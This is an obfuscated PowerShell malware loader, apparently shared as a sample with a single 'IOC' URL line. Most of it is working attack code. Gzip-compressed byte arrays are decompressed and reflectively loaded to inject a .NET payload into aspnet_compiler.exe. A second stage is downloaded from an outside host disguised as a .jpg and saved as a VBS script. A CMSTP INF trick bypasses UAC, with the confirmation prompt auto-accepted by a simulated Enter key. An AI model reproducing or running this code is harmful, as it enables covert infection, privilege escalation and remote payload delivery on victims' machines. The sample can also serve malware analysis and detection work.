159,121,247,207,69,163,118,241,27,47,127,231,131,107,223,250,232,5,65,44,248,165,174,109,231,91,155,62,252,228,224,123,83,95,60,202,243,141,136,210,242,234,199,182,63,222,123,221,119,254,235,183,157,7,58,127,242,94,252,238,251,238,125,120,225,138,234,15,143,190,250,143,103,25,223,122,90,92,121,142,168,233,208,211,47,188,250,245,223,188,246,193,169,215,232,3,67,55,61,100,59,106,235,187,95,251,100,91,203,245,27,191,250,221,166,171,46,249,232,167,35,39,4,46,126,66,249,149,211,222,125,235,147,167,246,157,121,86,239,194,13,177,151,94,219,177,84,212,194,92,123,53,43,235,57,99,97,224,253,250,255,217,117,207,79,126,249,220,182,139,126,117,246,159,218,239,76,135,142,163,105,175,44,165,92,198,63,121,41,187,60,248,229,55,191,108,47,60,56,39,58,173,242,143,202,148,244,206,219,111,233,144,252,73,124,231,237,23,239,85,238,251,228,165,83,196,29,202,119,175,60,124,249,252,225,59,182,206,55,203,183,183,244,151,110,239,216,179,183,116,255,93,191,127,119,231,131,191,218,62,189,4,228,58,249,246,195,151,43,27,108,239,216,172,206,177,241,168,161,91,123,212,204,109,181,172,186,86,25,81,32,242,205,171,183,122,116,51,183,137,203,24,119,58,157,77,7,147,96,5,46,252,148,122,163,193,168,148,200,182,157,221,126,246,251,249,248,11,165,162,194,203,142,249,146,245,34,91,227,212,127,253,253,254,219,190,245,155,219,222,56,225,193,161,166,119,216,119,70,174,59,99,207,197,207,156,164,251,238,101,55,74,159,103,78,248,130,250,222,179,76,155,126,122,154,114,48,181,239,222,196,210,45,191,93,188,94,242,226,21,169,119,174,120,224,129,208,21,175,156,221,118,239,91,15,127,227,129,130,39,174,86,110,138,237,120,99,231,141,103,166,58,94,252,206,205,39,254,250,156,191,205,56,251,119,95,22,121,216,116,195,207,143,22,222,252,200,233,35,247,253,111,222,75,15,183,93,116,253,51,253,190,199,36,193,173,91,139,206,82,220,113,180,101,67,69,205,71,145,29,221,154,124,203,128,43,169,8,252,68,49,49,83,243,232,131,7,207,218,145,184,248,234,215,239,187,166,115,172,252,134,248,151,59,31,188,182,63,252,72,217,235,23,63,181,73,242,245,103,207,170,87,189,27,191,106,162,176,228,129,235,202,100,225,198,170,174,217,246,163,111,187,251,230,186,31,253,95,227,145,177,244,90,117,195,207,255,212,156,232,207,249,122,25,239,154,250,75,242,147,151,86,136,84,156,104,225,96,58,222,243,235,255,190,9,175,115,2,150,124,95,252,115,223,167,138,194,99,176,152,236,56,139,40,44,230,129,216,10,12,88,193,4,184,186,120,231,252,34,215,138,84,240,137,95,224,177,245,212,84,61,208,209,106,224,116,161,202,160,224,128,221,0,170,0,200,9,188,18,160,107,246,208,196,65,49,109,128,69,28,4,64,215,214,69,60,96,96,176,65,42,37,109,152,76,24,64,231,233,6,51,196,3,73,87,134,32,32,11,116,246,178,31,144,239,9,36,221,24,192,215,118,48,236,101,121,255,15,181,72,133,0,123,40,205,194,128,41,235,2,22,11,3,15,249,186,65,215,150,122,50,228,49,164,49,64,238,141,84,1,235,130,140,29,231,49,20,3,229,145,86,154,130,193,6,150,57,224,147,117,131,193,235,142,51,193,163,212,152,38,85,128,213,32,214,193,154,48,36,129,194,128,65,135,1,212,109,131,169,119,1,15,65,39,131,205,41,64,177,71,1,28,102,28,72,106,81,87,71,51,128,229,245,144,48,3,208,14,78,160,122,79,248,234,217,60,240,48,187,31,144,204,5,173,57,5,139,130,214,54,235,1,233,10,176,8,104,32,23,228,30,31,232,186,220,28,240,122,236,2,134,74,176,139,32,99,230,16,183,216,128,205,246,135,138,103,66,205,134,185,45,15,175,29,38,96,127,64,86,199,166,48,148,130,87,206,162,251,6,221,47,22,96,61,142,224,1,122,208,250,91,208,52,65,37,198,26,113,76,125,163,128,142,224,0,232,54,16,96,142,176,29,104,135,140,130,129,0,0,25,163,188,83,0,182,0,0)
    
    
    
    [byte[]] $RSETDYUGUIDRSTRDYUGIHOYRTSETRTYDUGIOH = Get-DecompressedByteArray $nona
    [byte[]] $RDSFGTFHYGUJHKGYFTDRSRDTFYGJUHKDDRTFYG =Get-DecompressedByteArray $STRDYFUGIHUYTYRTESRDYUGIRI
    
    
    $FGCHJBKHVGCFHJVBKNBHVGJB = D4FD5C5B9266824C4EEFRWEOIURWDQWOIDUQW389C83E0C69FD3FAAG -TypeName 'System.Collections.ArrayList';
    $FGCHJBKHVGCFHJVBKNBHVGJB.Add("W1JlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRSRFNGR1RGSFlHVUpIS0dZRlREUlNSRFRGWUdKVUhLRERSVEZZRykuR2V0VHlwZSgncHJvakZVRC5QQScpLkdldE1ldGhvZCgnRXhlY3V0ZScpLkludm9rZSgkbnVsbCxbb2JqZWN0W11dICggJ0M6XFdpbmRvd3NcTWljcm9zb2Z0Lk5FVFxGcmFtZXdvcmtcdjQuMC4zMDMxOVxhc3BuZXRfY29tcGlsZXIuZXhlJywkUlNFVERZVUdVSURSU1RSRFlVR0lIT1lSVFNFVFJUWURVR0lPSCkp")
    
    $FGCHJBKHVGCFHJVBKNBHVGJBA = COMBINEMEANINGSCOBOLTPOTASSIUM($FGCHJBKHVGCFHJVBKNBHVGJB)
    start-sleep -s 4
     $RDTTFYGJHKUYGTFRYTFYGUHIJGYYGU = D4FD5C5B9266824C4EEFC83E0C69FD3FAA($FGCHJBKHVGCFHJVBKNBHVGJBA);try{$n=0;while($n -lt 5){&(GCM I*e-E*)($Run=($RDTTFYGJHKUYGTFRYTFYGUHIJGYYGU -Join ''));$n++}}catch{}
    
    
    
    start-sleep 10;
    
    (iwr("https://unimed-corporated.com/new/matador.jpg") -OutFile "C:\Users\Public\CPA.vbs" -useB);
    
    
    Function script:Set-INFFile {
    [CmdletBinding()]
    	Param (
    	[Parameter(HelpMessage="Specify the INF file location")]
    	$InfFileLocation = "$env:temp\CMSTP.inf",
    	
    	[Parameter(HelpMessage="Specify the command to launch in a UAC-privileged window")]
    	[String]$CommandToExecute = 'Wscript C:\Users\Public\CPA.vbs'
    	)
    
    $InfContent = @"
    [version]
    Signature=`$chicago`$
    AdvancedINF=2.5
    [DefaultInstall]
    CustomDestination=CustInstDestSectionAllUsers
    RunPreSetupCommands=RunPreSetupCommandsSection
    [RunPreSetupCommandsSection]
    ; Commands Here will be run Before Setup Begins to install
    $CommandToExecute
    taskkill /IM cmstp.exe /F
    [CustInstDestSectionAllUsers]
    49000,49001=AllUSer_LDIDSection, 7
    [AllUSer_LDIDSection]
    "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""
    [Strings]
    ServiceName="CorpVPN"
    ShortSvcName="CorpVPN"
    "@
    
    $InfContent | Out-File $InfFileLocation -Encoding ASCII
    }
    
    
    Function Get-Hwnd
    {
      [CmdletBinding()]
        
      Param
      (
        [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] [string] $ProcessName
      )
      Process
        {
            $ErrorActionPreference = 'Stop'
            Try 
            {
                $hwnd = Get-Process -Name $ProcessName | Select-Object -ExpandProperty MainWindowHandle
            }
            Catch 
            {
                $hwnd = $null
            }
            $hash = @{
            ProcessName = $ProcessName
            Hwnd        = $hwnd
            }
            
        New-Object -TypeName PsObject -Property $hash
        }
    }
    
    function Set-WindowActive
    {
      [CmdletBinding()]
    
      Param
      (
        [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] [string] $Name
      )
      
      Process
      {
        $memberDefinition = @'
        [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
        [DllImport("user32.dll", SetLastError = true)] public static extern bool SetForegroundWindow(IntPtr hWnd);
    '@
    
        Add-Type -MemberDefinition $memberDefinition -Name Api -Namespace User32
        $hwnd = Get-Hwnd -ProcessName $Name | Select-Object -ExpandProperty Hwnd
        If ($hwnd) 
        {
          $onTop = New-Object -TypeName System.IntPtr -ArgumentList (0)
          [User32.Api]::SetForegroundWindow($hwnd)
          [User32.Api]::ShowWindow($hwnd, 5)
        }
        Else 
        {
          [string] $hwnd = 'N/A'
        }
    
        $hash = @{
          Process = $Name
          Hwnd    = $hwnd
        }
            
        New-Object -TypeName PsObject -Property $hash
      }
    }
    
    . Set-INFFile
    #Needs Windows forms
    add-type -AssemblyName System.Windows.Forms
    If (Test-Path $InfFileLocation) {
    #Command to run
    $ps = new-object system.diagnostics.processstartinfo "c:\windows\system32\cmstp.exe"
    $ps.Arguments = "/au $InfFileLocation"
    $ps.UseShellExecute = $false
    
    #Start it
    [system.diagnostics.process]::Start($ps)
    
    do
    {
    	# Do nothing until cmstp is an active window
    }
    until ((Set-WindowActive cmstp).Hwnd -ne 0)
    
    
    #Activate window
    Set-WindowActive cmstp
    
    #Send the Enter key
    [System.Windows.Forms.SendKeys]::SendWait("{ENTER}")
    }
  • IOC: hxxps://unimed-corporated.com/brasil/ps1brasillimpo.jpg
    FUNCTION D4FD5C5B9266824C4EEFC83E0C69FD3FAA($D4FD5C5B9266824C4EEFC83E0C69FD3FAAE)
    {
     $JHFGDSDGHHGDHGFJERTERTRTERTERGSDGSDFSDFXVXCVSDFSDFSFEWFWEFSDFSDVCXV=([type]('{1}{0}'-f'vert','Con'));-join[char[]]([uint16[]]$JHFGDSDGHHGDHGFJERTERTRTERTERGSDGSDFSDFXVXCVSDFSDFSFEWFWEFSDFSDVCXV::(($JHFGDSDGHHGDHGFJERTERTRTERTERGSDGSDFSDFXVXCVSDFSDFSFEWFWEFSDFSDVCXV.GetMethods()|?{$_.Name-clike'F*g'}).Name).Invoke($D4FD5C5B9266824C4EEFC83E0C69FD3FAAE)-ne0)   
     return $D4FD5C5B9266824C4EEFC83E0C69FD3FAAG
    }
    
    sal D4FD5C5B9266824C4EEFRWEOIURWDQWOIDUQW389C83E0C69FD3FAAG New-Object
    
    function Get-DecompressedByteArray {
    
    	[CmdletBinding()]
        Param (
    		[Parameter(Mandatory,ValueFromPipeline,ValueFromPipelineByPropertyName)]
            [byte[]] $byteArray
        )
    	Process {
    	    
            
            $input = D4FD5C5B9266824C4EEFRWEOIURWDQWOIDUQW389C83E0C69FD3FAAG System.IO.MemoryStream( , $byteArray )
    	    $output = D4FD5C5B9266824C4EEFRWEOIURWDQWOIDUQW389C83E0C69FD3FAAG System.IO.MemoryStream
            $MAIND4FD5C5B9266824C4EEFRWEOIURWDQWOIDUQW389C83E0C69FD3FAAG = ('{1}{0}' -f  'ress','Decomp')
            $gzipStream = D4FD5C5B9266824C4EEFRWEOIURWDQWOIDUQW389C83E0C69FD3FAAG System.IO.Compression.GzipStream $input, ([IO.Compression.CompressionMode]::$MAIND4FD5C5B9266824C4EEFRWEOIURWDQWOIDUQW389C83E0C69FD3FAAG)
    	    $gzipStream.CopyTo( $output )
            $gzipStream.Close()
    		$input.Close()
    		[byte[]] $byteOutArray = $output.ToArray()
            Write-Output $byteOutArray
            
        }
    }
    
    FUNCTION COMBINEMEANINGSCOBOLTPOTASSIUM($IAKWBQIPASKBAMAGSWQIAKDHKASNDAS)
    {
        $IAKWBQIPASKBAMAGSWQIAKDHKASNDAS = $($IAKWBQIPASKBAMAGSWQIAKDHKASNDAS -join [Environment]::NewLine)
        $IAKWBQIPASKBAMAGSWQIAKDHKASNDASQ = [string]::join("",($IAKWBQIPASKBAMAGSWQIAKDHKASNDAS.Split("`n")))
        return $IAKWBQIPASKBAMAGSWQIAKDHKASNDASQ
    }
    
    
    [byte[]] $nona = @(31,139,8,0,0,0,0,0,4,0,180,189,11,124,92,85,181,63,190,231,156,153,51,143,60,39,143,201,163,121,76,2,173,211,148,182,121,55,41,109,105,158,77,218,188,154,164,105,83,10,233,36,153,36,211,78,230,76,103,38,109,210,218,18,64,16,180,162,85,244,130,138,10,168,136,215,7,224,19,69,229,37,162,168,60,4,21,161,10,87,174,194,207,39,94,188,42,122,229,255,93,107,159,51,51,73,42,112,239,231,243,39,204,62,107,173,189,247,218,107,175,189,246,90,107,239,51,73,123,247,191,71,168,66,8,43,62,175,189,38,196,87,133,252,111,187,120,227,255,22,241,201,44,255,90,166,248,162,243,7,21,95,181,244,252,160,98,120,38,24,243,70,162,250,116,212,63,235,157,240,135,195,122,220,59,30,240,70,231,194,222,96,216,219,222,63,228,157,213,39,3,27,50,50,92,231,27,60,6,58,132,232,177,168,226,212,134,75,15,154,124,159,19,138,72,179,56,132,184,11,72,158,164,125,228,49,20,94,174,148,210,17,172,72,185,133,72,62,133,215,194,116,193,213,219,175,18,34,155,255,79,62,19,15,254,175,29,124,247,202,65,69,79,106,69,226,63,139,72,127,19,186,88,241,31,228,115,164,160,14,224,93,41,248,134,120,96,62,142,231,199,239,144,109,121,174,202,10,22,7,55,68,99,209,9,97,200,6,25,69,14,62,95,92,218,110,59,254,223,16,13,132,116,52,76,55,100,102,94,15,173,104,215,186,92,204,197,199,228,179,139,135,183,137,235,199,132,184,35,194,28,232,163,189,169,185,166,252,247,213,189,194,190,120,127,161,124,62,128,121,138,141,226,0,232,101,138,175,88,8,87,85,241,41,44,168,181,170,76,89,228,103,241,169,124,3,205,151,168,199,64,61,18,45,48,208,2,137,22,26,104,161,68,139,12,180,72,162,197,6,90,44,209,85,242,81,98,80,75,36,90,106,160,165,18,45,51,80,126,86,41,62,40,200,229,249,167,90,85,123,42,13,20,85,111,35,161,191,25,251,50,84,177,58,26,200,19,17,253,102,128,209,245,249,128,62,7,72,255,119,20,62,172,148,230,125,17,251,200,231,161,246,63,91,209,254,34,179,253,106,9,18,81,89,198,160,106,36,70,42,90,36,185,99,211,4,149,147,80,87,248,170,80,217,12,113,196,169,10,16,124,107,169,237,169,202,4,248,229,146,119,245,98,177,86,63,214,78,164,89,234,72,237,202,12,106,91,130,90,41,167,124,190,49,101,126,118,22,248,234,193,228,212,121,64,244,247,146,240,107,20,181,72,255,55,130,46,45,240,40,190,173,36,180,199,119,17,30,107,124,219,168,172,186,52,239,159,218,38,64,177,235,209,42,246,126,98,77,221,171,182,249,118,130,122,221,102,50,61,79,85,65,85,235,169,141,52,246,46,154,229,103,136,225,215,162,79,20,137,72,236,75,212,131,170,162,222,98,19,173,38,52,156,64,107,136,223,136,239,123,52,192,35,40,188,94,48,213,191,79,76,142,43,250,19,120,170,219,104,71,40,6,50,170,255,8,143,108,161,84,133,79,213,161,111,51,85,50,164,99,211,184,242,22,235,152,225,99,88,30,197,231,7,197,247,1,26,166,137,168,167,78,101,146,152,48,34,87,115,22,186,249,70,72,223,54,130,130,188,44,209,198,82,17,57,149,69,141,222,73,189,46,164,94,151,42,190,85,52,178,94,73,220,142,208,34,190,196,74,99,178,162,250,74,136,30,163,185,151,18,125,196,247,13,60,162,158,50,172,62,117,89,108,37,46,181,167,224,255,172,10,83,18,8,183,175,85,124,216,128,46,223,113,18,225,186,98,185,152,69,202,19,31,94,93,168,148,77,224,81,160,148,103,211,211,163,148,23,226,89,213,87,40,219,20,40,76,164,54,196,196,146,96,178,33,166,0,94,236,96,77,40,249,39,119,208,96,188,43,21,245,100,39,81,119,42,39,232,169,156,160,42,93,69,235,170,119,40,18,43,216,39,219,159,144,37,53,211,173,104,240,79,107,85,165,193,11,76,77,110,221,212,200,122,178,139,167,168,156,32,84,127,31,201,208,151,130,172,86,121,3,44,167,125,224,28,180,219,136,214,168,156,232,226,61,201,130,213,74,140,133,168,154,194,152,59,105,76,229,4,61,244,143,66,140,147,187,120,247,40,39,160,21,107,225,133,25,100,45,190,119,209,190,43,60,217,203,83,191,142,184,26,13,138,82,27,20,165,54,128,231,122,47,61,7,21,245,244,181,80,240,201,30,170,91,197,77,152,120,107,130,88,34,137,173,144,134,241,242,52,179,21,179,88,45,133,180,234,183,178,89,45,37,30,146,19,31,49,68,200,147,28,10,36,131,109,38,199,98,137,31,85,78,16,186,153,220,115,244,215,86,17,169,146,4,125,11,153,206,160,82,42,39,160,158,62,109,202,6,198,229,78,147,250,137,4,117,80,41,51,137,31,79,16,49,227,143,147,44,149,176,226,91,13,21,220,104,18,62,96,16,62,104,18,110,147,4,214,34,173,74,63,185,175,203,137,184,83,97,55,118,178,63,97,104,85,155,21,189,8,11,246,132,226,187,155,90,212,42,222,123,49,5,221,78,139,120,72,241,62,98,34,224,123,10,13,60,101,250,0,117,59,165,120,191,151,82,229,49,109,218,83,44,235,143,171,205,20,248,20,239,3,9,110,138,247,254,4,12,96,85,181,34,126,39,99,154,219,227,106,202,164,240,154,112,216,90,193,62,151,118,42,155,54,56,2,141,171,246,63,125,168,209,88,187,30,31,98,141,75,156,202,73,184,8,118,12,13,228,51,115,151,210,90,136,246,47,93,201,12,213,90,151,246,168,33,175,113,128,138,177,165,227,165,244,187,148,170,125,40,206,82,245,154,179,28,101,125,57,212,222,69,80,25,213,175,90,90,239,189,38,215,152,217,186,39,105,206,37,68,172,19,215,124,93,104,22,86,193,253,162,232,25,9,147,94,90,100,186,224,102,207,117,202,78,50,146,243,98,63,180,72,40,211,98,58,6,89,76,39,148,11,11,217,91,148,104,150,4,77,73,208,148,4,77,77,208,212,4,205,154,160,89,19,52,71,130,230,72,208,50,18,180,140,4,45,55,65,203,77,208,114,18,180,156,4,45,51,65,203,76,208,220,9,26,65,190,97,130,178,18,181,174,68,173,43,65,115,154,52,86,73,172,140,84,66,153,129,15,130,107,174,179,148,226,173,241,184,88,235,26,217,89,75,73,50,23,218,100,145,31,135,180,59,232,218,42,176,33,40,223,118,115,122,161,151,147,154,17,251,93,113,4,97,139,43,134,184,237,74,211,236,201,133,224,192,160,159,71,145,3,28,34,190,243,169,194,149,88,161,213,40,210,207,34,117,18,246,102,90,126,187,190,6,148,103,215,120,210,89,34,71,21,175,189,34,86,137,134,1,145,97,202,117,201,37,194,129,24,102,201,173,182,136,219,12,90,20,106,136,240,74,70,115,44,128,104,253,162,179,42,32,149,3,53,124,12,175,85,244,71,4,217,8,34,191,179,168,17,244,18,65,36,110,180,205,6,136,214,47,90,166,1,34,237,69,23,50,1,145,204,209,39,179,1,209,74,70,223,238,6,68,235,146,199,250,143,110,206,1,78,27,48,186,141,32,90,157,232,203,4,209,122,70,63,158,11,136,86,187,10,251,216,46,94,150,121,191,187,176,160,36,246,22,204,119,181,87,60,140,173,238,75,130,107,105,15,217,105,199,241,104,123,145,135,81,22,229,106,254,37,165,5,212,189,224,93,109,20,44,61,229,23,220,164,175,163,149,189,128,52,123,174,154,235,130,250,122,60,62,232,98,139,63,119,191,115,213,152,253,216,165,164,177,253,104,205,131,100,39,190,13,180,108,158,140,166,102,90,35,231,173,91,104,45,172,62,168,82,115,91,237,250,70,18,158,16,189,218,244,20,103,201,175,165,108,112,103,193,190,12,167,227,186,96,237,125,77,183,147,19,160,214,154,93,135,63,113,53,221,0,66,172,22,80,174,141,151,136,139,88,29,17,52,183,205,173,233,48,53,151,219,38,247,22,252,152,171,224,93,173,44,120,212,15,53,221,226,209,27,169,169,221,109,247,220,74,116,182,4,183,157,231,89,224,182,99,86,72,253,92,178,138,166,205,99,179,226,88,11,60,91,22,228,44,57,64,183,173,217,206,15,105,152,41,211,42,68,235,2,95,46,169,131,136,5,177,38,202,188,145,89,150,82,102,217,76,170,221,76,138,112,82,11,135,217,76,191,144,216,111,97,169,13,117,111,150,234,150,210,230,113,60,241,232,200,90,93,197,135,124,25,212,15,251,88,123,146,115,35,95,26,197,140,67,190,44,34,239,49,243,110,118,185,40,17,160,52,140,95,65,227,111,163,164,145,231,236,205,134,137,121,111,128,44,60,241,115,210,46,34,65,221,178,123,101,162,123,65,129,172,240,36,102,224,162,2,86,175,5,89,168,32,154,151,83,243,237,212,92,71,252,112,173,105,146,65,128,244,114,54,157,157,139,132,105,213,217,191,244,200,253,250,67,170,195,231,21,33,15,105,228,95,40,239,174,0,112,5,158,183,226,153,181,236,108,246,130,34,63,233,9,127,164,136,67,70,157,47,159,114,17,14,65,107,154,56,240,180,147,236,217,231,164,58,150,83,59,76,147,93,66,237,36,43,72,26,173,156,9,38,97,201,78,248,33,35,6,105,226,107,0,108,20,131,146,22,226,74,4,186,180,164,78,222,143,118,60,190,162,35,231,116,185,52,207,182,195,68,34,173,106,135,246,201,165,77,103,100,52,185,252,155,21,106,227,226,101,70,214,232,74,177,12,207,161,109,148,40,152,86,177,204,88,154,198,132,49,222,138,197,211,187,105,95,219,61,91,83,164,251,139,48,68,177,167,138,98,79,21,197,115,104,75,74,7,58,161,27,228,234,27,96,14,231,145,57,236,36,155,218,69,42,165,49,245,30,178,110,41,222,191,48,233,38,88,162,120,125,115,111,42,72,142,148,42,64,199,191,156,223,255,222,56,83,99,223,103,45,242,147,180,53,171,176,202,11,5,183,47,143,98,167,39,77,203,177,248,122,105,154,188,200,236,231,94,64,161,92,23,244,245,145,135,100,91,200,47,208,251,105,108,22,210,225,129,211,227,148,15,141,188,219,91,179,196,182,48,245,136,237,6,41,195,147,107,117,122,14,233,131,180,67,7,224,49,89,9,185,182,166,53,166,139,92,194,203,109,243,184,173,204,139,81,125,8,144,147,136,182,235,228,218,174,206,181,122,170,191,115,182,142,252,45,71,87,103,138,19,91,194,74,241,40,134,88,73,86,103,139,82,20,148,145,136,208,26,37,29,174,103,171,44,62,138,203,251,196,254,187,204,184,156,45,126,246,255,68,186,220,199,14,241,251,255,150,244,85,213,170,24,48,116,186,226,86,97,46,47,113,171,112,153,73,244,93,66,18,44,189,89,32,95,231,42,96,7,151,178,31,171,204,125,216,221,157,204,5,47,48,253,65,17,133,43,143,185,5,57,189,38,223,142,84,153,221,229,185,248,172,94,109,242,177,138,103,1,192,243,187,89,102,151,166,196,129,175,210,63,69,27,51,57,1,253,179,40,210,236,209,119,155,241,121,243,106,82,84,244,67,9,252,32,227,255,158,192,159,6,222,164,91,200,10,105,54,43,52,66,156,248,120,149,170,17,18,91,30,175,146,42,145,78,191,233,124,186,231,210,162,15,44,145,200,119,152,236,17,235,36,78,209,13,140,166,143,208,134,92,62,212,35,201,161,158,55,137,203,57,113,125,114,208,38,105,1,231,147,254,62,13,80,223,75,38,179,134,208,15,177,28,127,88,210,59,149,219,135,169,35,156,181,182,134,101,242,65,238,117,250,40,237,146,38,184,100,145,163,248,246,211,22,112,46,19,96,57,75,153,5,209,29,162,147,197,96,102,78,253,98,50,101,240,192,89,196,181,254,11,103,51,153,227,63,61,42,173,25,219,60,7,243,20,113,121,221,205,88,132,195,162,88,192,167,212,136,57,23,26,177,104,220,34,239,86,239,198,51,115,89,44,250,190,69,126,204,246,185,213,105,194,45,115,101,55,153,176,75,57,215,162,248,30,36,244,82,74,135,255,70,181,99,36,208,65,138,3,167,188,116,30,190,74,208,173,41,216,68,243,243,69,36,239,49,171,121,221,83,238,124,215,65,78,23,60,121,190,113,224,183,172,46,40,48,161,194,4,84,148,128,138,19,208,170,4,84,146,128,74,19,80,153,9,249,38,72,148,73,58,30,144,36,44,206,137,0,229,134,4,201,228,133,115,126,190,71,82,162,165,249,169,43,203,55,85,124,2,226,99,139,60,31,77,17,199,213,50,100,10,218,83,180,25,144,14,185,163,187,208,153,146,72,45,122,9,65,235,229,22,187,46,120,136,78,153,174,242,237,240,171,27,201,84,20,15,81,233,22,203,117,150,156,96,122,244,4,218,59,228,58,30,34,45,74,252,176,137,47,221,207,205,205,98,141,92,27,69,184,133,60,35,22,184,124,33,202,173,182,243,37,159,203,144,77,19,215,0,119,209,185,134,142,6,190,48,77,156,142,6,62,157,182,78,132,86,136,238,200,92,116,148,114,233,49,142,156,154,30,167,113,231,200,34,91,208,221,119,212,72,139,49,38,165,197,179,156,22,187,173,201,62,70,15,182,97,78,43,173,250,177,165,57,70,34,49,254,150,60,66,95,67,110,115,158,147,97,183,45,250,46,82,250,2,167,191,37,70,210,75,215,8,174,232,251,73,141,137,51,47,140,35,234,245,32,23,94,93,168,233,39,104,196,183,74,243,136,158,207,212,98,41,7,108,35,218,72,4,223,73,234,121,138,249,22,232,151,25,207,69,126,250,46,231,192,217,75,206,228,10,26,106,39,122,20,234,87,202,116,92,75,225,207,67,74,206,12,250,222,70,92,175,74,100,210,154,156,178,38,55,164,161,138,171,73,21,116,254,51,240,183,83,236,75,222,107,48,177,32,6,45,184,236,190,107,133,145,215,115,22,207,209,106,47,237,169,119,208,136,159,162,17,233,118,51,215,225,118,196,78,19,224,116,59,163,119,129,172,191,139,102,226,140,62,148,2,255,234,92,178,26,117,255,32,194,117,196,254,157,41,84,107,129,136,184,29,190,119,83,151,236,130,212,46,114,122,78,57,61,35,198,242,154,173,118,59,120,181,86,75,101,174,246,232,239,145,143,51,146,72,154,150,250,149,183,38,169,49,169,101,82,218,240,110,138,91,134,127,74,205,147,215,3,160,88,55,154,146,39,43,134,95,10,81,144,81,86,230,207,151,43,242,163,25,62,139,226,101,173,81,231,73,185,70,127,31,101,76,231,188,34,79,149,208,204,131,53,177,122,157,140,155,180,207,90,1,192,77,184,155,106,1,20,122,124,155,105,111,231,88,254,153,143,205,165,228,88,30,115,45,185,192,62,185,154,156,11,182,251,133,100,236,47,83,176,60,129,163,137,53,221,126,2,238,193,138,112,224,37,85,55,81,60,187,151,182,71,180,41,129,223,193,248,129,4,254,49,198,227,9,252,61,140,159,78,224,139,140,127,60,129,71,24,191,39,129,179,119,138,254,56,129,15,48,254,219,4,190,157,241,178,66,19,175,150,242,36,112,47,227,3,9,60,155,241,235,76,156,179,39,135,175,153,130,26,38,188,133,154,100,189,246,218,107,154,124,41,81,94,203,22,239,171,35,250,131,255,124,237,53,232,151,238,55,134,140,245,241,237,48,121,228,249,110,88,178,73,232,72,163,109,38,27,161,99,140,182,185,76,200,163,139,182,153,94,61,210,11,33,227,166,173,109,41,135,42,190,83,164,204,27,185,145,187,66,84,254,71,29,5,57,23,93,149,186,232,122,212,21,251,16,65,31,166,141,184,149,140,187,32,141,19,193,212,35,81,149,61,229,60,84,93,157,204,195,234,13,127,27,187,137,120,124,132,246,202,71,121,159,66,31,250,199,76,7,88,224,90,201,81,75,248,239,170,170,36,191,95,3,207,160,216,202,254,238,115,133,169,254,46,118,51,249,103,77,191,133,221,50,229,44,200,42,104,19,56,244,143,203,164,34,187,8,163,126,66,24,71,111,150,132,60,115,180,170,200,188,88,57,159,87,107,100,105,187,79,210,88,227,69,134,196,155,221,236,178,163,81,147,208,76,23,99,5,185,182,179,187,120,172,219,64,90,127,154,39,228,144,171,109,228,30,201,236,217,158,66,145,107,97,184,195,37,26,112,219,170,132,165,158,244,231,19,167,62,41,243,104,69,84,136,127,251,170,9,23,139,59,190,151,188,15,123,246,217,164,158,40,1,205,228,59,98,25,175,144,177,186,114,4,5,118,109,141,150,38,239,251,240,164,110,180,116,198,218,41,162,104,149,112,152,60,96,144,228,59,12,93,47,22,165,234,154,242,4,141,56,222,158,88,195,52,118,128,30,131,185,39,201,220,92,199,250,250,36,111,100,242,244,254,218,29,189,133,222,164,125,154,86,15,233,165,203,227,226,213,227,181,75,107,202,102,85,209,218,197,17,63,44,107,232,126,219,46,245,251,226,74,109,106,252,194,174,160,202,99,206,71,17,37,162,114,155,212,79,46,206,31,68,119,147,45,14,114,162,17,251,44,121,158,90,74,99,180,127,106,67,228,229,62,71,51,235,161,173,121,162,150,175,233,176,55,108,130,174,236,145,106,186,243,92,121,105,167,232,5,159,239,243,194,200,215,226,96,174,164,217,179,80,239,161,131,20,148,43,15,128,55,146,40,239,194,161,201,146,126,234,14,50,190,166,253,100,9,158,91,115,57,27,200,203,181,157,162,119,131,136,157,214,188,188,28,45,199,166,223,201,113,54,142,69,83,114,237,170,219,234,182,235,119,9,243,222,108,39,21,133,36,191,221,247,5,138,20,110,43,91,157,219,42,209,103,53,36,11,14,167,254,69,32,23,220,120,118,21,219,21,173,138,38,235,237,140,24,125,159,173,18,198,125,234,97,81,244,54,81,40,87,222,42,62,253,57,177,74,234,202,202,119,50,185,60,103,107,244,158,98,17,161,249,13,240,252,226,148,112,164,41,172,32,187,254,101,90,180,42,153,215,125,91,240,215,28,220,171,222,101,145,57,201,87,80,121,26,161,220,130,76,196,247,85,78,53,10,233,133,9,229,32,190,175,241,179,248,92,110,134,223,79,221,226,251,58,109,231,216,61,68,253,6,103,1,149,114,99,211,53,114,90,236,155,180,189,237,116,88,110,42,167,77,235,182,158,201,181,57,114,108,209,31,67,92,223,183,200,138,238,149,154,42,216,71,155,220,137,108,234,103,14,222,208,158,242,60,253,62,106,112,63,167,47,108,74,107,162,207,162,95,174,60,18,184,181,228,158,16,226,75,95,18,25,50,174,217,197,79,0,228,155,231,193,212,99,212,239,139,19,103,88,235,42,131,200,57,178,65,204,52,137,172,8,233,87,100,77,161,89,147,226,35,169,58,90,134,138,60,253,1,2,107,1,210,161,193,69,91,238,219,68,105,4,37,186,157,186,114,131,30,66,247,153,168,76,74,36,251,201,196,192,221,198,150,253,118,178,50,154,168,92,154,213,26,213,111,77,204,68,77,206,228,116,162,207,72,42,67,118,235,55,144,24,167,19,82,221,66,104,166,137,26,253,63,151,232,159,56,226,175,142,62,156,24,41,35,57,210,179,137,150,251,146,45,255,148,32,62,36,140,156,220,247,29,178,8,68,211,135,141,231,119,147,163,57,74,204,21,162,251,99,131,152,103,18,229,155,148,196,45,131,140,133,23,27,254,244,245,223,167,211,254,215,86,92,33,234,63,16,231,186,66,252,225,178,180,46,97,91,195,195,166,207,86,197,183,200,125,210,217,227,81,90,232,168,23,66,242,110,137,174,41,49,242,204,232,32,160,216,99,114,27,36,28,101,122,147,47,17,228,216,81,102,104,206,232,123,74,82,67,88,244,83,38,11,151,17,160,30,123,51,1,74,43,244,141,178,175,244,61,46,140,155,204,232,231,192,169,137,175,27,114,173,198,206,249,50,72,64,120,231,192,105,202,59,161,26,177,249,176,25,167,86,139,125,39,147,113,234,243,159,55,247,147,34,232,213,65,1,197,152,39,73,54,79,90,19,5,96,205,126,107,62,121,78,135,254,20,168,138,254,99,210,233,